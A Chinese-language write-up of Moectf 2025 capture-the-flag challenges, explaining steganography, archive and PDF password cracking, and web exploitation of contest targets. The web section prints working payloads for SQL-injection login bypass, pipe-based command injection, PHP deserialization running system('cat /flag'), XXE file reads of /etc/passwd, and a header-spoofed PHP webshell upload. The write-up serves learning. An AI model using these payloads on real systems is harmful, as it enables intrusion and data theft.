西电CTF平台——Moectf 2025 WriteUP
从此开始
签到
在提示中拿到flag。

安全杂项
Misc入门指北
adobe打开pdf,搜索moectf,选中它,直接复制文本就能得到flag。

moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}
ez_LSB
kali的zsteg命令拿到flag的base64编码格式。

base64解码拿到flag。

捂住一只耳
audacity打开音频,左声道有摩斯密码。

解码拿到flag。

Enchantment
wireshark打开,导出http对象。

四个文件都打开看一下,upload用HxD打开可以看到明显的png格式将前面和后面多余的16进制删除,另存为png。


打开图片看到奇怪的编码,这是银河字母,对着表翻译即可。


在对应的地方加上下划线即可。
moectf{now_you_have_mastered_enchanting}
Rush
gif图,用stegsolve分解帧,将有二维码的图片保存下来。

扫描得到flag。

weird_photo
图片crc值不对,用puzzlesolver爆破图片的宽高。

打开图片就能看到flag。

2048_master
一开始还傻傻的真去玩,玩了半天放弃了,看到界面中的提示。


需要玩到16384,还不能让空位填满。先随便玩一下,关掉exe,生成了一个layout.dat文件打开看看。

可以找到exe文件和dat文件之间的关系,第5行代表得到的分数,exe中第一列为2、2、2、4,dat文件中第一列为1、1、1、2,很容易就找到规律了,dat文件中记录的值为2的次方数,exe中记录的是2的次方值。16384是2的14次方,所以尝试将dat文件中的值改为14,分数改为16384。再运行exe文件,弹框选择yes。


随便移动一下就能拿到flag了。

moectf{Y0u_4re_a_2048_m4st3r!!!!r0erowhu}
ez_锟斤拷????
对锟斤拷这题有印象的立马就能反应过来是编码的问题。记事本打开,用不同的编码方式进行另存为。

ANSI编码方式保存的文件打开能看到flag,转换为半角即可。

moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}
哈基米难没露躲
解压打开txt文件,一堆看不懂,一开始以为是几种规律的组合,但是发现组合太多了,毫无头绪。16进制打开压缩包,在末尾能看到hint。

打开网址,是个哈基米语的翻译网页,把txt中的内容复制进去解密,得到fakeflag。

提示我们尝试一下文本隐写,将解密出来的内容复制到文本中,看到一堆不可见字符。

明显的零宽字符隐写,利用零宽字符解密解码得到flag。

ez_png
一开始肯定是kali里的一串命令的尝试,没有发现。用010editor打开,运行png的模板,可以看到一个IDAT块的数据太少。

把他提取出来,用脚本解密得到flag。
import binascii
import zlib
formatted_hex = "78 9C CB CD 4F 4D 2E 49 AB CE 30 74 49 71 CD 8B 0F 30 89 CC F1 4F 74 89 F7 F4 D3 F5 4C 31 09 A9 05 00 A8 D0 0A 5F"
compressed_hex = formatted_hex.replace(" ", "")
compressed_data = binascii.unhexlify(compressed_hex)
depressed_data = zlib.decompress(compressed_data)
print("Decompressed Data:", depressed_data.decode())

WebRepo
扫描二维码,得到提示要用binwalk。

发现有个7-zip格式的文件。

可以利用dd if=WebRepo.webp of=output.7z bs=1 skip=16012命令提取7z文件也可以直接抠16进制代码。

打开压缩包,可以看到.git文件夹,放在kali中在.git的存放目录下利用git命令搜索flag.txt。

再利用git reset --hard命令恢复flag.txt文件,打开得到flag。


encrypted_pdf
解压得到加密pdf和一个txt,txt里有提示,密码很简单。

丢到kali里利用pdfcrack -w /usr/share/wordlists/rockyou.txt -f '2222.pdf'爆破得到密码为qwe123。

打开pdf文档,拉到最后有提示。

用adobe打开,搜索moectf关键词,能定位到。

选中复制出来得到flag。

万里挑一
password.zip里存在多重zip文件嵌套,必须要用python代码进行解压了。
import os
import zipfile
for i in range(10):
for j in range(10):
for k in range(10):
base_path = "E:/新建文件夹/attachment/password/" + str(i) + "/" + str(j) + "/" + str(k)
file_list = os.listdir(base_path)
for file in file_list:
print(file)
zf = zipfile.ZipFile(base_path + "/" + file, mode="r")
if not os.path.exists(base_path + "/" + file[:file.index(".")]):
os.mkdir(base_path + "/" + file[:file.index(".")])
for file_name in zf.namelist():
zf.extract(file_name, base_path + "/" + file[:file.index(".")])
解压到最里层都是pwd.txt文件,还是通过python读取,并写到一个文件中保存。
pwd_list = []
for i in range(10):
for j in range(10):
for k in range(10):
for m in range(10):
file_path = "E:/新建文件夹/attachment/password/" + str(i) + "/" + str(j) + "/" + str(k) + "/" + str(m) + "/pwd.txt"
with open(file_path) as f:
content = f.read()
pwd = content[content.index(":")+1:]
pwd_list.append(pwd)
with open("pwd.txt", mode="w") as f:
for pwd in pwd_list:
f.writelines(pwd+"\n")
用archpr采用字典方式爆破,得到密码为a296a5ec1385f394e8cb。

解压得到flag.zip,里面的文件都是zipcrypto加密的,存在明文攻击漏洞。有一个知识点,exe文件的16进制中都会有This program cannot be run in DOS mode.这句话,所以可以构造一个压缩包。

echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > test

再利用time bkcrack -C flag.zip -c "明文.exe" -p test -o 64命令爆破,需要等个几分钟。

利用命令bkcrack -C flag.zip -c 明文.exe -k eec878a3 6808e48f 3aa41bd8 -U decrypt.zip 123456将加密的压缩包解压为decyrpt.zip,密码为123456。然后用123456解压decrypt.zip,打开flag.txt。

逆向工程
逆向工程入门指北
ida打开附件,直接搜索moectf,就能拿到flag。


Web安全与渗透测试
0 Web入门指北
打开moectf2025__web_signin.txt,将下面的代码放到控制台输出得到flag。

01 第一章 神秘的手镯
只需要将wan_yan_qi_feng_zhou.txt中的万言咒复制到输入框即可,但是提示禁止粘贴,那就打开开发者工具,通过html代码修改。

看到万言咒已在输入框中,点击启封手镯即可拿到flag。

02 第二章 初识金曦玄轨
查看源代码,看到提示前往/golden_trail看看。

访问/golden_trail,在响应头中拿到flag。

提交flag得到一个小说解压密码fAMwxQ2rEhbXWUw9IJmvU4ec。

03 第三章 问剑石!篡天改命!
根据题目提示是需要修改参数才能获得flag。

点击测试天赋,看触发的流量包。

构造相同的数据包,看回显。

修改level参数的值和manifestation参数的值,可以看到回显结果中result中的天赋和光芒对应的值改变。

看了眼js代码,如果回显结果中的result字段中包含流云状青芒会显示光芒效果。

将manifestation的值改为流云状青芒,看回显。

难道思路有问题,最后也是抱着尝试的态度将题目描述中的流云状青芒的英文flowing_azure_clouds赋给manifestation拿到flag。

提交flag得到一个小说解压密码cBrtGRQSKeLvty0@lKyFpU@Z。

05 第五章 打上门来!
最简单的路径遍历漏洞,没有做一点限制,直接输入../../。

点击flag就能拿到。

提交又获得一个小说解压密码28P~gb6F3FuMOcrtaBo8uyDy。

12 第十二章 玉魄玄关·破妄
题目说了用于学习蚁剑的使用,直接打开蚁剑连接。

在文件列表中没有找到flag,尝试在环境变量中看一下,在虚拟终端中输入set命令,拿到flag。

提交又获得一个小说解压密码RVXlGZnJjcxh0627Xn^3iGZ6。

Moe笑传之猜猜爆
查看页面源代码,有个main.js。

想要得到flag,就得让输入的数字和代码生成的随机数一致才行。

这种几率小的可怜,直接构造数据包访问/flag不就好了。

04 第四章 金曦破禁与七绝傀儡阵
第一步先用get方式传参。

获得玉简碎片bW9lY3Rme0Mw。

第二步post传参,用hackbar工具访问得到玉简碎片bjZyNDd1MTQ3。

第三步需要从本地访问,添加X-Forwarded-For头。

获得第三枚玉简碎片MTBuNV95MHVy。

第四步使用moe browser访问,修改User-Agent头。

获得第四枚玉简碎片X2g3N1BfbDN2。

第五步要以xt的身份认证user,添加cookie字段,Cookie: user=xt。

获得第五枚玉简碎片M2xfMTVfcjM0。

第六步需要添加referer头。

获得第六枚玉简碎片bGx5X2gxOWgh。

第七步要用put方式发送数据包。

获得第七枚玉简碎片fQ==。

将七枚玉简碎片拼接,base64解码拿到flag。

又拿到一个小说解压密码jU92itArJr2pe04Em6HF_tik。

01 第一章 神秘的手镯_revenge
看题目的描述有一个wanyanzhou.txt的备份文件,尝试访问一下wanyanzhou.txt.bak,真的存在下载下来。

将文本中的内容通过修改页面元素复制进去,点击启封手镯,提示内容正确,但还需要提交499次。

编写python脚本去访问500次。
import requests
import json
import time
url = "http://127.0.0.1:51203/unseal"
data = {
"content": "XqRqsDZWVYjoXvSwMYGklZOGwVpnmPKTPJXhTiFKvhvcseSrXEbawElbdYmJRydaISVcmpLTscDEPSlbIkUNKEvdzivnsrfSCnGolKgQOmVFhxKxhMitBzNeBHNyOgwckpBKdMveKRzqTIrcnvhVgXoxZrjKmuFkFahmHtmTSCKjnjethRbwMPKeJbyLSPAzROgVTuNIChkunCQdCLnoEJWzTscdjGHYzuHJZPMbxqtWteSbkogopAGBxprYdnZEGjfhJfYKlVlVarMHKwlHcIpsHwXgcsvWVKijiTYiQTfpIMHfqyroLmSqLgugtVlDQXeaGTxSWCfkMsMxnucRAxvKeRkUkpnfLrAtMfnBpgwbgLSHsXEPcUxuJwcdxYEfispMnEluMGWPtiKWukWJmcixVbTrgBhRmSqeMWZorscrwsxerZnmKRmbcBIukPQIHOxeoPOXnbngPGdpFrnoDAhCkuQeyDreHKQIutGOwDmQrtuFZYZwPlDMuBZPqPcIDrSHUZvGQKDLARkVfmEQdLeBSVoRAOUJZXAiafPXCMigwuNPzElbajcHnpzBfUvxhDTFvdRsbnvdaYDmyjkNLqrFbRqspCJxrFAJaZkEisEaWkgvnTPTCZvPStbzuAVJRJqcnthlUXbigHdyMERTwFmhGktdbvyHxMWZkIhkMhDUHcrnrqezOsoaZLvifeiFLBUlHJEhtHoStqBtQRenMJPVWLzoFCtBlVSlUaQKnXCedKVGocnoWJiOfnpXVPOxAXQITpeXgfdmszXzOTEdTjqnEPAbQcOfRQFnZPNeygovEvmlhZfKNHQeRcnjHweNceHuFBTciWcFSQNZmIlnpiMkqiQyZOENdGFayRLHRuAHYcFOeZoaWsVwciPUtHRdNxfBtENIVDTPzqnBPdtRdOVWKEaInMAmgTUFSrdghOVOefjxtitiabICQNdLUItQILjyAhCBvnTmzHALWouisBfvTGtHjcYShuKdejEobmfYOypmQRJiKeUAyIGcKPsLDYOVAdIUgujXMsDsOLyrkCqjVAwkJnymwVcIGQPXixGWZWpychnsCINBItKqzcmhoYLWhadHoihjWVBlFgpHKfXpOjXYdhBLjfZUFICrlIEJeDztXIhnMsRITfNhFSjfsQwEktpzryjKvoedbAgFGnIshgIwyJANiKQJzdPdZkckQPVXYAKfekJvIwlQTZOwhjepNEJGhyahbEuNPtkCXVaNVkUvQHRAQVXtAQGTBUlWpZwfuFjKwvjNfzkCmcVeCPUCRSDXKSKQjNOkmeYabmjtNVYclVEredbjBiqXWeMCXaXPltDgneMPJaGIYHyfbWqNLwJCqPsdJxCDvaIuYXDHVLfwPwQuvUGcXvJZmcyACILNBDHnGKXFnUpExHTHrcgyIKCDSzeUsyOYfxnKyAmsUPgWgfdcJuLGAPnLvLnFuKXNUThohGpagqOIucLUtSHYBJvlPzLnJXtBIryPDyWtZuvOcoLBUkWapklHXLNQDonMyunmuoAuqkvdCvWXvIrdXZtHrgwsDuZiytotfKBAMwNGiVDZGlMzPKGpIeFzCLuXYsVXQZfYXoPuBNJyEFNvhlnzDbAieaNycIwKCtysQxbjejrEJVzuaNWpKqaduNtdmAjFpQFKFkoukCGsoscynKmpOTRhBlKlcurfCSzckDmrABkvUnTJBGBjKQeVEZRpfcdNbqEJAGfeaMtKiqfKcmhjngjEuVQaDmgYOdRxGOBGIRBgNCwsUAqNhVxzPkVSkNRLuVbAEApwnXjeipSbNDROtZSuPItgRUIJGcDiSxJwgcqximjKfskPXuHbhowALsYRPrjrteNPhiUKQpFgYlRBHJMuOQPtIYcIPIFHTpwMVpRwRvjpDKzlKmuXZVHAvswCIGoHxMahgaueHzkQhrGXdiXZswbkbpsOFOskXcgBUXBTjXacDJzbqFYhMpQXykStZCMJpmzkBfygwmQERoDIyMCGiJiCmOyTmrepOZIxfPlONsapLxOACdcfxLxsMLUsMziTpqcxAOpFMvghzFYRSwMQmGLDiaQsTZAZurHBSuaFHmXQohjUSqicRyHfrtIKygKBsCdXWTDgzcvHYGnbghSlMeHiMHQZtFoyPoVxyPNgnUxgiXZpXWokTBfnuXLDxqkyBnXWlIwFODufTCoevNmvHKZFAhPNOfuJxnqyfigeihgefMyPRGtjTwPxgkFGleTQOczfIhKVOSAwkfYLzesAxSHaqsWUfdRIxVmgsdedlnRFKHbRIMUHcRELhMLcpGiAJmqmQKECsfpXUvtBcrzRQcORBDNPVlQjdsHZXaHNOhQbdigsdszLIHPnXzqbKhBchruNLjBlaydvIHTVmSlyHtIyCyFocdRlJTozqSQNAvQySRZpNqUPzpQuKWLxUPbhYjvGlEpLWnPenWboqEfEMsAIxdbJQMKfNXakvwtRsTyHMSPOLIGxhLCiEnBnkJLFiDrkLkqBeRqxatdzFjaOVwhEKLAWxHViZadRjfQfoPOnuXPIFLPBnAleremNPcnTwAjgZADfYxlDrtcoQFGubCdTYPFSqXPjOUeAGFuwRvpeQWowxajsTnMcOfPtYBKqJwUQTislZbOsMyBpFCQaQYjSKyxGcSyceUGvtOhxImvTmiMfsmejhFAVALTvdRGAInBuxibmSYloasOJIntRlxjWeQGVklDfBGUkrAfvtNXRVBOvltzigxMUmEIhIjIgwYDWhCUAgQImixmgXDYQHUPRdfNGerNueMivayPSNRheVPTVhPaHDvFPcedCpRGOcAXLBrPnKlyHjDueOZdpfZKabnbdvYilMSALQHjVfkDjXVgsvIyNZEcfobkydwZPfKqTCXgPkPdgVaBmJKIYNmGxStldrBjZAykFDMfoiFIRLGigwdRvilQdycSAuXShvACVReSOifjuWlOSbKhXjfPiYibMxwIOcYtqJDBsbzqsMpsUbnVOVNCBHCVwbaghdaZwKwOcWsFdTxICJWXrEgJKWVrtPLUnYehdKUIbHUxWvzflPvLJMIJdoPNcjlPyZuYbrNgznMPDQIskYGeKHEIxbsAzFGPSbHEYIfnakwrHtifynYQBGcIMtEfSTmzltyveQBEdyrPHurWSEPiEGaGFHNtYqFqZSvMOkfEkFGNUNehiTqrLJMZPmjBSlnkLaQtjTslRqwOSmxZdQzpgBzTFVxLtBnUspHSqUyBLXbRMViuwZnVFyEFEyzlISCdtwpnKanKdroLgotHdEhGyucMuGyqStCiZbxKIlMLvuhLTUNbmXYhZbfTrHGlYbMjsXAiQovPHQrfvEjkiZVgyhEVPRkTzyAucZgafPFGOBXcSkOXKdlZrZpXQOJCKLtzBysNKVkHEgyrQPqnUKXILyujGsFqXzfLpDjewEmzGrGhRCSumVlXrwoBXRljkWHGDUsNUAdZKUDOwejOZifSOHJHiKCYNGtbdQEPaFKPnaYQzfxzGefKtAbRuJoZmHblZmwKrODQVMUOqmIZOuxzraxWdtpcRHFZCJlTdMcQLFVuTlOQNCkEPkRTFPLVNAqImzvpsWcNMPIvulFEhoWSDXlwpeBZxKIZApQOArGWITaVteYWBoEkHlPjHkQwxDnRfDyRXqjbzVgYcTDsMafXLustotnGcrbNyDimSxCiatNVnKgnTuyUYJtUdSAgJwLeFSPuAIfvbaxYNwRgDoGtaQcFxgDJMFgpCIuoEdwDChkoBVfDkaihdmPQZTwGcyNiSHpXLZfrszPoroaFSFoyZVysuPgwQpEQWQYqwLmfSCktrnuAUktVGnDvspNePKtABerKUsrjhJZnBtEsiRwoGDYVoSxzhDbLWysDJUWECVbNDtZEPLawlSblaIPtIfLJxpaJQnXQgVKIuWDZLmAlWfzxGmxEjtpLBmJCsvCyMemqylTnRXgqCzhfROrdtdPcrHtntoGyKnqjigbEfkdykWKlwQruRiDIVequOEJbHXdQCMIQAMTDXLQTgcLqmQlStExIAKMlNSXuhnUgYwTlVrqpadpTAzvLsTcopFOraXmxqCGqDiZhyUcWdraLNaxYlDTdjVkjHaWLVNDKvrDotXPOdLwPKGHiTpWzghIyopFBMJPEjaQlNJhZHctpMgvUawLrLnyuTxCejCavTOgQBwDFOdIZeawkGNWmwUzFauLxsqimLVSnEWPZYRAKHwHIWjCrPjtXTCeaCkVlrjRzhEvlwmnmrjlPqioroJpZDvJXtpOtHmsQheWgUnuDqjLUjWSzgdmuHBiNGsexkrxWqjIWCesrmJFgsLALwDKaONSCnKGTYvSHqsCdEnJmKbItitgTOlSigmioFqtEyaUKpqtYhWUBrtsLcfmfqojPScvTayNOmiJvAfczBUCUqdZexCqfBjsufdVdlKQWSVLfCnBydqAmVdhAnlSfrOTAIrgVXueYGjoJIByCoEJRtomAUqrTIcvnIdMoMjXkTEUjEwtEWorwefkTGalPEPnCJRjZJPHOWMPswlApIuNblsAXKXEnoxsaIwvhyOkHyMiYiFoCjXfgwlpiETVoUDfVqFpXclvKnwinPNHDRhnQwJZjATsqslVLeSMwSCIJTnatMuxMcAWrJdnwjWxYKHmJHOyEceCfwsmalGwVtJNXLpikQdhMYDYKFCxGrtSNaceCVuiEvQyBFycgCSwvAVjulXqbreazYTZPRhZdYqsvNKQfRpqITJXYZEizdNUCSRlNUKSGIrgLzBRdWfSzEObyJyCDlspgNPukmbIDwloSGWPXUbnoZPaZISqjkGlRihGcOtHmkwFBrhGIxutiLOZLfIvLpkQpcKcJvcYSoMXqiNYgrGvfTHFmKCwgdIGNmWPcwyfJhIphUJYjAMgFPzPMoWjElspZCbXDkQzihAwSlxNztzMbaUxEXhAizBxopqZMYazFBXQtBXSncriVJTgLbZrNfGFjctMTEmObPLpENwnovQHnBnPqYhFkqVkdqRoNoveCdoTGmgzlRJatIpByQGpjelGEmTGHELfxsIruzldvLMihnPzhLrfKMgCVOSOvDUrYhiuxnlVNgtilbQwoWbyMciXOQsfegmznLtaMzunRDscsnQCvZcwjtLWkuvidyjSGOSWGIRGzGyWcqjyJiWejPzIdfzLGaCSvNqhwEqAvCxcGVspJnyMgiXHOfetWgMeWGmoXHsXIucVwEvHaDWbidGZaTMzYTrKQPwbDbcRnUDymaMhuTYPlWqdNsTngReMqSvwDeBIjkIfDTnJwNvaUMdCrSiJYxbYAHgyTIvThjptWEDlhEBuIvrgkiRpsVpTruBKuJAZRHFBTBAxqKjyZVtscfYoJAwrvmpWCYxWAcvOjOGWuvphnjoTcpcyopaHPSYNSFpLhdsVqusxufxbwZjzwhGHjsCkvWUDHioXebCGemDKSutHqiOCImIhsvMcgfSvMcuvAdEhuRbDHqeVFzIMwUTjZrBNzfwcenAucPrjhOKOFXNKnwRBdiucOjdraiEGfDChPLiYkEnifjEoIDjRSDuNBDMRDxtCDLscfXtRCNZxWfYeKCpzYBiSrMoIpUbRklzEVwQVehVpkFyVrVtujiSPOLEFOVhCrDWChnroYGOLFwItVbxfZlzjkgOvdAEdTjLebjyKHSEYvMduWainHlZHbtIADMtmXOjyaVsasBDemSCOuLaFeAMatFmqPYgoPBuwgfhxpMngLGthLNaDRySnrXiuXGdsXebrmUvdueGmUSmhIuXJOVGpOhqwtzIcuirDThNsyLdExgVmHqUptlwLJVQwSlZOuVTHrbfRhuibwpkJwJkDPUGwGLyZorkRskRTqaeHlClCjQyOPZTmNzpDHxndJVsxAnpLuqHNktLHrGaPKTeDlhKWtxUltveFDgBERTnKHaSHdaZDKPxlKWmvGnQCLZJgSaVRplUSjaXjseKhXlMxdvTYJNsOgislKzLnepaxWECaTCflPMuJzOCMdBgCribrHLGlpBqTkTEcVHgoGQWUjVTUzjyPUhWbiBRxckxGThXqexUSgFmtfdYtKhTWtfjxoPiMYVBqERcWxoRkQSkULJiPhCSfXoUykfGSimlmHBHzWbsagTJdgYoKFuAjXCqKvnukUclWZVANxeRvCXUqojAgEaByFkNKxLgKObKgsHRijRzxQVaUprskCmATLwvgiDyIndpeaSiPljfSAhRtLwEtJBODxjtyMzIomksXUGbskQjSPdgwxJWaejgnfxwJrdHgMCrSrwBTuGfcojXVLWNClYvzJTyDXrLzkSqxbcLHdvcFMnwGMwLERmcmDUQuIvUdjIcJKXULTyPchlWLxVpuihKemfgFJfGApvzAnjShbxKUqAtBDPtpIgEKdyidUqNJocWbnPEbMxCZhRUjTrVteNiFDVmNaMBNetaWEtafXncKfEXYptvijKGuiZXgmoFBTHBriRIcDBdZJIaymIuZkNuZKWmpTLhScjTiJrKJDXvZeGVNJTDINafpQwiPkqbIvgqCTwkCWhZrgQIHuBkBgwOnOTCEHRxpaGbMJrsgLEOInhVKIwhIhgVjtqArCYijwoMhnsOqziDfnIZEfDaUOhSVyqhWKZIJsJfNWIStPqbyFmZPlnLYwbSoEkxwRSTfznbOGYrSjCSRlPEytycnVXAesjgQsMjuetJvdGSjxoNwufCPvxMUqDPKeQTsXQcIRQGoqCUDbZlHbYkFqJhruVmRiWGpDiPSKXOsBHvPvJNgaSOSHrNUiOwvBUgzWrTcBWAKrkBMobfONCzmXbRHganRgFJZsgvwTmkLiXfkyqcYjSWHKoSoyWOgoFGhXPturGEUCuIVBczaLnxzUkmwFbKAkcXuzaiByLNEaugBXnkXtuAqDKuMtMxGCKQHPIWtwkXoEXaCzqVnlmTueyDsKmQuqOBPekMIfdiSbHDVFbhbaUVPIFPchCuZxFBRaKceldvAWvgIkroVrHpvIEiHqBIYxGyueUVTWPoDZRnrAStGFHwYczxVuPKXEUHFpHDjHcDZTmWhBmfTJvRSLUYhieMwGCDevGSfMBPzEOGiwsGbgmUfXYmnraIfPRxPuvkOrDVrAqfTOrvcXhUSHYJPbhqOUAFepOuGwEuoKcOtrpbZKOFCziyUpAXzSWXDidtDCFnlIqaCfzWNogViWoPhSnZYESkYRoiaoaETPhnswIXoGhbRpmWkFkOvPmoWexFEGntpePDBePblefuMvqBAtehBAzYdOstJLrymkahWgKhftLgmHZpBNeGmKcZafkLkRMIAWkqWYdxPYQkQewixKynMQMrqCiMwSZjELaWecgsqphcanAFEZycECYiSBoajuMlZdlYQtPejrvtYRsugRbVlFaWDbGAsVOAyERmNDPswIlDoyhZuWqonEVztwxyrmcyVmvCYkjZjwmzhTfnDSLIzgbxgAXLGptfGhVnXpktjfCzbLNtojTmpUekDrsIPYPXPsQroMOwMLvTnUnqnmzqASbduRJeGNAmgKvprEHOyGTFJWbafwEdxphKzOviNwfPrBuGwCYZhOVwirGHQDRtsfPCVgEmpsdAJEXBzfnRYiaqJRyfOFGadaJSXhfhsKfiCbakLbfENXFXdhpyADSNbDmQWUpbPMtCkxsRGJoaKcLgeKmzqSoHaLoSuAWZqvIMfCiEfyCmGPadaHumUlFWrntbTNqukENBzEFObGrNTXNbKBhXCupKDIJNykATKfBQvzSYgQELWUfepXnBFncFqCHCTxCLMfPUpaUkRtoJMbpadzmyHfQEHpGatSqZohDJBxMajbXdRFsHTpXzTDgYRnpfzVPEFsknYZaXdNezYIZTeczgOZTlYhylchNEHivrFhihcxYNIcDGixscIDYkbEYuloZqdmFLNaFDUGcgMQvlYwJSdsPgvuseuOAYiaFOnkCrJgWnRCJuHGZEyLJEuEDedwphNLMrpdvgRVENLRpcMaqwgOwrVOjcjgSahSTAOxiYlQpsbApqtqYQrOpczjaTnvxhUclzYJuqpLalVRmLZlieUNefYNLwJNJZhoUxtOxLDTQXJlswXMprgjwOPDPGiVNtQxzshImKZNvZtXIRiMsIhqjyIBurirPcwVaTbKqiTFtzbzHkjPIBYeKTSNrmNHnZgdrxAkJmOyKZWPIsQvxFSriYRSkABozQclJizGaKitcrfWowxpNKmzCsqwTbocXjKfujNSRKWUyUWqrhXtgLSXgItLZtorjiKPzinOxdvPGvYZyPLfvlAMIqUgSCmhNExifbfwPlriPnYVljZvzWEqXdiTYDzjhYgoiYJZfpqhrkLdcxkMIXDFBnFEVXlvHtaloYiNTPYRvDgwfWmwKRspCelMYAghSUjskGmnjDJWIMYMYPEaoqiYEZnCyzEIprFumcLiVPKjObkUpdirdoDzBLGvikaEmXjTMpEdxmsAqdfwOrqrSwxBWXdfbuAtEdPYZRqnTaopFjvplSHOntxIFjnjvnmlUtofmyRegkaelImWYDHJpbfyDEHbGFeHRZngNyKOsarinDhJZTrdNxltQOnwoKrkHsTKofRymjVSNdeRFvrlRVclbFUJlNbiENwOeAMeTCuBoJFZMrgtegqcRKQdaFpwhcUFOZsfMTkviehQFCAvZborgWjSYhWQzHAsKmEgwfWmJYvHTPuSKOmOyFjgkvHIuPIbralqLBDQiDutlcUxmcXdSYgemREgfLVQNcNerMnuCkqnrYzisxzOxnBfCJQfGTvxbvnPHRzImrOGNvjCYWnGQrBotaUgZcHjfHBqsUrgYQspgqTjsxUvrmdpLebKgSivumvjIkoqwCeBpJwbHvOpkWQwVREFOyFaeDzPelPykaxDumJRzGMQlvqDhFySqDzTRxpWLESyWDrcBIBHxESudenUdquFVwTjITmaqngtgRjhSLdtXcNPFVkgWyHEofdAvLsFlmKlHZQxZWCXqtyndzRHfwZxjtGcLjcRNxazLDqtMqRabYxyCUKxNcaFkAJMiJaqGLQthPIYvQeusnmGJuVTEtkPzKoTYDERTHrIwhSxDubOapIcYQLZrpJiJhiKrLVjQKubkrwDJSwAtmnrCXUFYZWLGlyZBYigmUtpTzyLFRYEWlOjSEDqmQktdvUFVSuHZwNRXWmfUjMOwpHmSwXnXzUyUkEYMWVUePdEsvPEUeWnkXJcfaOubzFhLQbvMSolejybMvLuJYbkxgZQLAMyRfOAPjsCobsovaWawNcmRHfmCNlkRWbZEhGXQMrlWAreWJtlISGlxdJHNmzQhuFuYLIdkdYRaYJWpFbZHbNvcmGukGSyKoLwVANVJrkXJGoVJWnIrIniacQVsvUEsUioPnoYhyCUsegXOsRcvcHxZfpmRkJUxyjYaZvFrnmIFAmzindESEskJVJmCnGhehMhLCoAMbCENszFLXchIwUizywEFxEJsizGlCrEWmhLWmpbFeOrbEhEgFkpelexDQkHXHlYjOANomnxlPZuByRZLDpdXLAZDZocOupMonVtIoBlaPUvMDpZvmKhNyPXZLEMWgjEBUPQBhZjvBNCSkuqMreXSCbudhGAmYiTEBlUDoRsZgTPVnlFaYIrvOPvbFkiCxbCDhlEmvpsjSgdEXtYgOxdVTPvXeftPzdsXUfhfQtPIEIcQnGYernWaFJyfDcDxNoHmfWzQGrGqnrhCPVmJavXBLChpGialPrUSTDHcMlJedpdFDKDZIHJPRMCmBaXkYFqSIFYpqJrlEBpzDGROVdkLWSZdzuRHwQJoPkVIvRUDpWXqVbzWLUPNSHEKwIvmojanGqGAUpODlgnWPOUjHpSGnKrOkDPAKAXtLGifiudqSKegAUCNbvBpaeJFHqyvAjdiyfTRpqCNlDVEISCZUfvnIFtxReYGwCXIhwcDbevHcDGQOLpzPHgcuojXiZdSoRYgoVmduqghYIYLmQWKvKCaZHtSNOMnHeQxskuQRebzDvRigACxBmCRagYpmtpb"}
headers = {
"X-SPECIAL-HEADER": "magic",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0",
"Content-Type": "application/json",
"Host": "127.0.0.1:51203",
"Origin": "http://127.0.0.1:51203",
"Referer": "http://127.0.0.1:51203/",
"Content-Length": "10014",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"Connection": "keep-alive",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"sec-ch-ua": '"Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"Windows"',
}
for i in range(501):
resp = requests.post(url=url, data=json.dumps(data), headers=headers)
print(resp.content)
time.sleep(0.3)
运行结束后拿到flag。

07 第七章 灵蛛探穴与阴阳双生符
题目描述中提到有一个跟爬虫相关的文本文件。

立马就能想到robots.txt,访问一下看到flag.php。

访问flag.php,得到一段代码。

要想得到flag,就必须$a不等于$b,但是两个的md5值要相等,典型的md5碰撞,让两个的md5值都为0e开头即可。

随便挑选两个就可以得到flag了。

又拿到一个小说解压密码YzOBQY3E22YSg2VJ53KousnE。

06 第六章 藏经禁制?玄机初探!
题目描述是一个登录页面,八成就是sql注入了。

直接在神识印记输入万能密码admin' or 1=1#, 心法密咒随便输入,登录成功拿到flag。

09 第九章 星墟禁制·天机问路
典型的ssrf漏洞,直接通过|或逻辑符执行想要执行的命令。www.baidu.com|set。

又拿到一个小说解压密码CszFiOPw1kDQoKB_hS6@Do^n。

13 第十三章 通幽关·灵纹诡影
文件上传漏洞,提示要上传jpg文件,文件大小小于30000字节,会检测文件头。

先生成一个图片马。

上传图片马但是不能解析,需要配合文件包含漏洞。换一个思路,直接抓包,他要检测文件头,直接在一句话木马之前添加他想检测的文件头就可以了。他没有检测后缀,直接上传php文件就完事了。(一定要用16进制去添加文件头)


拿到文件上传的漏洞,利用一句话木马就能拿到flag了。

又拿到一个小说解压密码Gu6LzR0wiis~deHuWjw2X0SZ。

17 第十七章 星骸迷阵·神念重构
一道非常入门的反序列化漏洞,直接构造poc。
<?php
class A {
public $a;
function __destruct() {
eval($this->a);
}
}
$obj = new A();
$obj->a = "system('ls /');";
echo serialize($obj);
?>
生成的poc如下O:1:"A":1:{s:1:"a";s:15:"system('ls /');";}。

通过参数a传入。

在生成一个查看flag的poc即可。O:1:"A":1:{s:1:"a";s:20:"system('cat /flag');";}

传入即可拿到flag。

又拿到一个小说解压密码4nF_KGJ59cdaei7hjwoZsVxr。

10 第十章 天机符阵
在输入框中随便输入一点内容,可以看到报错为DOMDocument::loadXML()。

很容易想到是XXE实体注入,下面总共是三个标签<阵枢></阵枢><解析></解析><输出></输出>,看下哪个标签能被我们利用,先构造一下poc。
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<解析>&test;</解析>
能够成功读取到/etc/passwd中的内容。(经过尝试<解析></解析><输出></输出>这两个标签都能被利用,随便选一个即可)

题目提示flag在flag.txt里,先看在不在根目录下。
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag.txt">
]>
<解析>&test;</解析>

提示加载不到,说明根目录下没有,还有个常见的位置在/var/www/html下。
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///var/www/html/flag.txt">
]>
<解析>&test;</解析>
成功读取到flag。

